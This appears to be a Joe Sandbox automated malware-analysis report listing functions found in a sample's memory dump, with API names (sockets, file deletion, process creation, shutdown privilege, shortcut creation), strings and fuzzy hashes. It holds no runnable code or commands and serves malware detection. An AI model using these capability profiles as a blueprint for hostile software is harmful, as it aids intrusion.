                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _get_daylight_invalid_parameter_noinfo$ByteCharMultiWide$ErrorFreeHeapInformationLastTimeZone
                                                            • String ID: ?
                                                            • API String ID: 500310315-1684325040
                                                            • Opcode ID: 95b5e6a413fed930f1bb5b391612c789b8d09045f7789be0dd1e1e78d96feb17
                                                            • Instruction ID: fdbf1de9fdeb93116df8ebb3b1ff77445b9b5b32d818dbf019aa248b576891b2
                                                            • Opcode Fuzzy Hash: 95b5e6a413fed930f1bb5b391612c789b8d09045f7789be0dd1e1e78d96feb17
                                                            • Instruction Fuzzy Hash: E8619EB2A0865296E730DF25E9401AD77A4FF89794F4411B6EA8DC2B98FF3CE441C750
                                                            Function 00007FF69DBC3940 Relevance: 12.1, APIs: 8, Instructions: 116networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorLast$closesocket$bindlistensocket
                                                            • String ID:
                                                            • API String ID: 540024437-0
                                                            • Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
                                                            • Instruction ID: 11992b59bee74ea0e33b3ae569ebde2791f660d31e5960aed563ec07636937d4
                                                            • Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
                                                            • Instruction Fuzzy Hash: 5441B2A1A0868286EB30EF2A945027C7760FF86FE0F4445B0DADE8779AEF3CD1518744
                                                            Function 00007FF69DBABC70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                            • String ID: \*.*
                                                            • API String ID: 2649000838-1173974218
                                                            • Opcode ID: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
                                                            • Instruction ID: 9cbbd3e62fa8f1192c206a2339377d4049f55c0fd34c61cb3ac7d67ae09a8fed
                                                            • Opcode Fuzzy Hash: 33faa39baa03be8120850797a18634ea376334063adf963c1f4e83021c640b6d
                                                            • Instruction Fuzzy Hash: 8F41BD62A2894292DB60DF11E4502FDA3A0FF95B50F9011B1EADE8369DFF7CD505C740
                                                            Function 00007FF69DB6AF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                            • String ID:
                                                            • API String ID: 1239891234-0
                                                            • Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
                                                            • Instruction ID: 9e75577a62b259ac7cb556ac84c247ab966ce13e62a0e0db8b157ecc02afc441
                                                            • Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
                                                            • Instruction Fuzzy Hash: CD314F76608F818AEB70CF25E8402AE77A4FB89754F500176EA9D87B59EF38D5458B00
                                                            Function 00007FF69DB9D2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                            • String ID:
                                                            • API String ID: 1413079979-0
                                                            • Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
                                                            • Instruction ID: 2b41cdb9830cdf3b482a7452bb6c0ee9f7b4a01806f134bba2931e4974ef60fa
                                                            • Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
                                                            • Instruction Fuzzy Hash: 74315C72608B8586D7708F02E4807AA77A4FB95B94F54417ADECD43B18DF7DD445CB40
                                                            Function 00007FF69DB3BE70 Relevance: 8.6, Strings: 6, Instructions: 1141COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
                                                            • API String ID: 0-2187161917
                                                            • Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
                                                            • Instruction ID: 27144a9bb2bebc0b02d80a54486bf9dfb4b27e51faa14af0db05e4ab69a05666
                                                            • Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
                                                            • Instruction Fuzzy Hash: 9DB2A0B2E096928BEB748F65D4406BD77A1FB4A788F104175DB8997B8CEF38E840D704
                                                            Function 00007FF69DBC4074 Relevance: 7.6, APIs: 5, Instructions: 148networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorLastinet_addrsocket
                                                            • String ID:
                                                            • API String ID: 4170576061-0
                                                            • Opcode ID: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
                                                            • Instruction ID: a019c63ec3971e3649b87be8fd03ca7e50c5274d40383824758ea8aa43d49103
                                                            • Opcode Fuzzy Hash: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
                                                            • Instruction Fuzzy Hash: B251E5A1B0865282DB20EB26D41467D6B90FF8BFE4F448575DEDD8779AEE3CD5008780
                                                            Function 00007FF69DBB5F2C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 300comCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CreateFullInitializeInstanceNamePathUninitialize
                                                            • String ID: .lnk
                                                            • API String ID: 3769357847-24824748
                                                            • Opcode ID: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
                                                            • Instruction ID: 540b4fa7c03d0cdd90533101cbb58e4cb11849932bf6d5ad5febece94f679711
                                                            • Opcode Fuzzy Hash: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
                                                            • Instruction Fuzzy Hash: DDD14EB6B05A5685EB20DF66D0902AD37B0FB4AFC8B444076DE8D87B99EE3DD845C340
                                                            Function 00007FF69DB6793C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _handle_error
                                                            • String ID: !$VUUU$fmod
                                                            • API String ID: 1757819995-2579133210
                                                            • Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
                                                            • Instruction ID: 453a5cee1de8471040e7ab3e03603c06968a109ed1d7066c5f260f82a6116c47
                                                            • Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
                                                            • Instruction Fuzzy Hash: E6B10B56A1CFC444D6B38A3450113BAB359EFAB390F14C332E99E75E64EF2C95C28700
                                                            Function 00007FF69DB72D20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • _invalid_parameter_noinfo.LIBCMT ref: 00007FF69DB72D60
                                                              • Part of subcall function 00007FF69DB6B184: GetCurrentProcess.KERNEL32(00007FF69DB6B21D), ref: 00007FF69DB6B1B1
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CurrentProcess_invalid_parameter_noinfo
                                                            • String ID: *$.$.
                                                            • API String ID: 2518042432-2112782162
                                                            • Opcode ID: 12e9b60bd7894d2062c92085e89256868bb5cd1afb156a995e7c5da927ea5a3f
                                                            • Instruction ID: fc15e1f52a604c5725b06a2842e081bca6788bf0e4d066160800157db71348b8
                                                            • Opcode Fuzzy Hash: 12e9b60bd7894d2062c92085e89256868bb5cd1afb156a995e7c5da927ea5a3f
                                                            • Instruction Fuzzy Hash: ED51E1A2F16A5596FB20CBA698106BD73A4FB45BD8F944535CE8D97F89FF38D0428300
                                                            Function 00007FF69DBAD750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
                                                            • String ID: SeShutdownPrivilege
                                                            • API String ID: 2163645468-3733053543
                                                            • Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
                                                            • Instruction ID: 2a39b8bd699265bf1557a0ed256429c866b0a94aa385fc6e6aa18fa2d5fdac74
                                                            • Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
                                                            • Instruction Fuzzy Hash: 7B119172B1864282EB34CB25E85117E62A1FF95760F494175E5DEC3AADFF3CD8068B40
                                                            Function 00007FF69DB55BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF69DB55C43
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: DebugDebuggerErrorLastOutputPresentString
                                                            • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                            • API String ID: 389471666-631824599
                                                            • Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
                                                            • Instruction ID: 984f16d95bb1a4710280f3dffdde3844f9a61dedf548d01e5425649724718a9c
                                                            • Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
                                                            • Instruction Fuzzy Hash: 21113A72A14B4297EB249B22D6543B933E4FB55745F4041B5C68DC3A58EF3CE0A8C750
                                                            Function 00007FF69DBC7634 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AddressLibraryLoadProc
                                                            • String ID: GetModuleHandleExW$kernel32.dll
                                                            • API String ID: 2574300362-199464113
                                                            • Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
                                                            • Instruction ID: 6d7ccaa9d1a6942a3225e4109803dfc03b232d270bb1c4a294a8cc9af0b29644
                                                            • Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
                                                            • Instruction Fuzzy Hash: 94E092A6905B0681EF24CF24E80573823E0FB19B48F8408B4D99D82358FF7CD598C340
                                                            Function 00007FF69DB42E30 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1264COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Init_thread_footer
                                                            • String ID: Variable must be of type 'Object'.
                                                            • API String ID: 1385522511-109567571
                                                            • Opcode ID: 67ca3e7a743f78d31b90d9fea182e781eb55d1361cb2596d54cba276c749d1dc
                                                            • Instruction ID: 2bd03c3f47df4421ed320bb0366dc88d7d6acb954d94eaa4324f7415cbce1c5b
                                                            • Opcode Fuzzy Hash: 67ca3e7a743f78d31b90d9fea182e781eb55d1361cb2596d54cba276c749d1dc
                                                            • Instruction Fuzzy Hash: B9C2B3B2A0CA8286EB70CF55D4906BD73A1FB46B94F545172DA8E877A9EF3DE441C300
                                                            Function 00007FF69DBABE00 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
                                                            • String ID:
                                                            • API String ID: 1083639309-0
                                                            • Opcode ID: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
                                                            • Instruction ID: c963ba3a58504129cfdf45b8e0a68a3ac1aa997f69e74433ff418fca4d1b845c
                                                            • Opcode Fuzzy Hash: 02ce357f99ea2512f20365e7a5c976855fb5bc5f8675b646551cc21f1f11311e
                                                            • Instruction Fuzzy Hash: C341C372A19A8282E720DF51E4545BDA3A0FB85B94F9440B6EECE83659EF7CE505C700
                                                            Function 00007FF69DB9D6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
                                                            • String ID:
                                                            • API String ID: 837644225-0
                                                            • Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
                                                            • Instruction ID: 94a1323a2580976e7b3c299fbbce216ca24bd381c6c95a9fa73127bb0fe3679b
                                                            • Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
                                                            • Instruction Fuzzy Hash: 9A21F1B2A08B8186EB20CF22D40476C73A5FB85B98F454479DA8D83748EF3CE842C340
                                                            Function 00007FF69DB43C20 Relevance: 5.3, APIs: 3, Instructions: 832COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Init_thread_footer
                                                            • String ID:
                                                            • API String ID: 1385522511-0
                                                            • Opcode ID: 60f9666ca451ed35fe8ab7f9d9e10171ddfa37ac04d0aa9f8a10e9c9a443c8f8
                                                            • Instruction ID: 5f675afd663550029497d74d2d8c9e48477fc53a52a9f3b37e498352e584af48
                                                            • Opcode Fuzzy Hash: 60f9666ca451ed35fe8ab7f9d9e10171ddfa37ac04d0aa9f8a10e9c9a443c8f8
                                                            • Instruction Fuzzy Hash: F1829CB2A09A52C6EB70CF55E44467973A4FB56B88F5440B6DA8DC3798EF7CE851C300
                                                            Function 00007FF69DB50E90 Relevance: 4.9, Strings: 3, Instructions: 1176COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $[$\
                                                            • API String ID: 0-3681541464
